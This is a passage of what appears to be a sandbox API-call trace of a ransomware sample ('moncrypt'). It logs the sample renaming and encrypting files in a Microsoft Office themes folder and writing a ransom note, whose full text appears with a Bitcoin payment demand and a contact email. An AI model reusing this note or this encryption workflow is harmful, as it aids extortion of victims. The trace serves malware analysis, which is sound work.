Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.212] GlobalLock (hMem=0x440004) returned 0x550170 [0051.212] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.212] GlobalUnlock (hMem=0x440004) returned 0 [0051.212] GlobalLock (hMem=0x440004) returned 0x550170 [0051.212] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.212] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.212] GlobalUnlock (hMem=0x440004) returned 0 [0051.212] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.212] GlobalUnlock (hMem=0x44000c) returned 0 [0051.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0051.213] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.213] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.213] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.213] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.213] GlobalUnlock (hMem=0x44000c) returned 0 [0051.213] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.213] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.213] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.213] GlobalUnlock (hMem=0x44000c) returned 0 [0051.213] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.213] GlobalUnlock (hMem=0x440004) returned 0 [0051.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.222] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.223] CloseHandle (hObject=0x18c) returned 1 [0051.223] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\я")) returned 1 [0051.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.224] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.224] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.224] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", dwFileAttributes=0x20) returned 1 [0051.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.moncrypt")) returned 1 [0051.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.226] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.226] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb1d8 [0051.226] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.226] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.228] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.228] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.228] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.228] GlobalUnlock (hMem=0x44000c) returned 0 [0051.228] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.229] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.229] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.229] GlobalUnlock (hMem=0x44000c) returned 0 [0051.229] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.229] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.229] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.229] GlobalUnlock (hMem=0x440004) returned 0 [0051.229] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.229] GlobalUnlock (hMem=0x44000c) returned 0 [0051.229] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.229] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.229] GlobalUnlock (hMem=0x44000c) returned 0 [0051.229] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.229] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.229] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.229] GlobalUnlock (hMem=0x44000c) returned 0 [0051.229] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.230] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=45528, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb1d8 [0051.230] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.230] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.230] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.241] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.242] CloseHandle (hObject=0x18c) returned 1 [0051.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.243] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.243] CloseHandle (hObject=0x18c) returned 1 [0051.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.243] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.243] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.243] GlobalUnlock (hMem=0x44000c) returned 0 [0051.243] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.243] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.243] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.243] GlobalUnlock (hMem=0x44000c) returned 0 [0051.244] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.244] GlobalUnlock (hMem=0x440004) returned 0 [0051.244] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a060, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.244] GetLastError () returned 0x2 [0051.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.248] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.249] CloseHandle (hObject=0x18c) returned 1 [0051.249] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0051.249] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.249] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.249] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.249] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.249] GlobalUnlock (hMem=0x440004) returned 0 [0051.249] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.249] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.249] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.249] GlobalUnlock (hMem=0x440004) returned 0 [0051.249] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.249] GlobalUnlock (hMem=0x44000c) returned 0 [0051.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.250] CharLowerBuffW (in: lpsz="CONCRETE.INF", cchLength=0xc | out: lpsz="concrete.inf") returned 0xc [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpUsedDefaultChar=0x0) returned 77 [0051.250] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.250] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.250] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.250] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.251] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.251] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.251] GlobalUnlock (hMem=0x44000c) returned 0 [0051.251] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.251] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.251] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.251] GlobalUnlock (hMem=0x44000c) returned 0 [0051.251] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.251] GlobalUnlock (hMem=0x440004) returned 0 [0051.251] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.251] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: 